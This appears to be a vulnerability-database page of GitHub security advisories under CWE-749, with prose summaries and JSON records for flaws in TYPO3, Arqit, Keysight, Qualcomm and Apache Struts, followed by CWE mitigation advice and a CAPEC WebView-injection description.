      "url": "https://github.com/apache/struts"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2006-1547"
    },
    {
      "type": "WEB",
      "url": "http://issues.apache.org/bugzilla/show_bug.cgi?id=38534"
    },
    {
      "type": "WEB",
      "url": "http://lists.suse.com/archive/suse-security-announce/2006-May/0004.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/19493"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/20117"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1015856"
    },
    {
      "type": "WEB",
      "url": "http://struts.apache.org/struts-doc-1.2.9/userGuide/release-notes.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Input Validation in Apache Struts"
}

GHSA-7R5Q-4QGX-V545

Vulnerability from github – Published: 2025-01-14 15:40 – Updated: 2025-05-21 14:12
VLAI
Summary
TYPO3 Indexed Search Module vulnerable to Cross-Site Request Forgery
Details

Problem

A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method.

Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions:

  • the user opens a malicious link, such as one sent via email.
  • the user visits a compromised or manipulated website while the following settings are misconfigured:
  • security.backend.enforceReferrer feature is disabled,
  • BE/cookieSameSite configuration is set to lax or none

The vulnerability in the affected downstream component “Indexed Search Module” allows attackers to delete items of the component.

Solution

Update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS that fix the problem described.

Credits

Thanks to TYPO3 core and security members Benjamin Franzke, Oliver Hader, Andreas Kienast, Torben Hansen, Elias Häußler who fixed the issue.

References

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.4.47"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-indexed-search"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.48"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.5.41"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-indexed-search"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.4.24"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-indexed-search"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.4.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.4.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-indexed-search"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-14T15:40:59Z",
    "nvd_published_at": "2025-01-14T20:15:30Z",
    "severity": "MODERATE"
  },
  "details": "### Problem\nA vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method.\n\nSuccessful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions:\n\n* the user opens a malicious link, such as one sent via email.\n* the user visits a compromised or manipulated website while the following settings are misconfigured:\n  + `security.backend.enforceReferrer` feature is disabled,\n  + `BE/cookieSameSite` configuration is set to `lax` or `none`\n\nThe vulnerability in the affected downstream component \u201cIndexed Search Module\u201d allows attackers to delete items of the component.\n\n### Solution\nUpdate to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS that fix the problem described.\n\n### Credits\nThanks to TYPO3 core and security members Benjamin Franzke, Oliver Hader, Andreas Kienast, Torben Hansen, Elias H\u00e4u\u00dfler who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2025-008](https://typo3.org/security/advisory/typo3-core-sa-2025-008)",
  "id": "GHSA-7r5q-4qgx-v545",
  "modified": "2025-05-21T14:12:05Z",
  "published": "2025-01-14T15:40:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-7r5q-4qgx-v545"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55923"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3-CMS/indexed_search/commit/cfda3f1edeea3c50034bce5c25393e297408c2b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3-CMS/indexed_search"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2025-008"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TYPO3 Indexed Search Module vulnerable to Cross-Site Request Forgery"
}

GHSA-7RHJ-W7PG-37V4

Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-13 21:32
VLAI
Details

Exposed Keycloak management service in the Arqit Symmetric Key Agreement Platform enables unauthorized access to sensitive debug information such as metrics and health data. This issue affects Symmetric Key Agreement Platform: before 26.03.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-33584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T19:17:07Z",
    "severity": "MODERATE"
  },
  "details": "Exposed Keycloak management \nservice in the Arqit Symmetric Key Agreement Platform enables unauthorized access to sensitive debug \ninformation such as metrics and\n health data.\u00a0This issue affects Symmetric Key Agreement Platform: before 26.03.",
  "id": "GHSA-7rhj-w7pg-37v4",
  "modified": "2026-05-13T21:32:05Z",
  "published": "2026-05-13T21:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33584"
    },
    {
      "type": "WEB",
      "url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2026-33584"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7V9X-7R25-H768

Vulnerability from github – Published: 2023-07-20 00:30 – Updated: 2024-04-04 06:17
VLAI
Details

?In Keysight Geolocation Server v2.4.2 and prior, a low privileged attacker could create a local ZIP file containing a malicious script in any location. The attacker could abuse this to load a DLL with SYSTEM privileges.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-36853"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-427",
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-19T22:15:11Z",
    "severity": "HIGH"
  },
  "details": "\n\n\n\n\n?In Keysight Geolocation Server v2.4.2 and prior, a low privileged attacker could create a local ZIP file containing a malicious script in any location. The attacker could abuse this to load a DLL with SYSTEM privileges.\n\n\n\n\n\n\n\n\n\n\n\n",
  "id": "GHSA-7v9x-7r25-h768",
  "modified": "2024-04-04T06:17:24Z",
  "published": "2023-07-20T00:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36853"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-199-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82QR-X7HV-JW32

Vulnerability from github – Published: 2026-02-02 18:31 – Updated: 2026-02-02 18:31
VLAI
Details

Cryptographic issue when a Trusted Zone with outdated code is triggered by a HLOS providing incorrect input.

Severity
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-47366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-02T16:16:19Z",
    "severity": "HIGH"
  },
  "details": "Cryptographic issue when a Trusted Zone with outdated code is triggered by a HLOS providing incorrect input.",
  "id": "GHSA-82qr-x7hv-jw32",
  "modified": "2026-02-02T18:31:32Z",
  "published": "2026-02-02T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47366"
    },
    {
      "type": "WEB",
      "url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/february-2026-bulletin.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Mitigation
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:
  • Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.
  • accessible to all users
  • restricted to a small set of privileged users
  • prevented from being directly accessible at all
CAPEC-500: WebView Injection

An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page.

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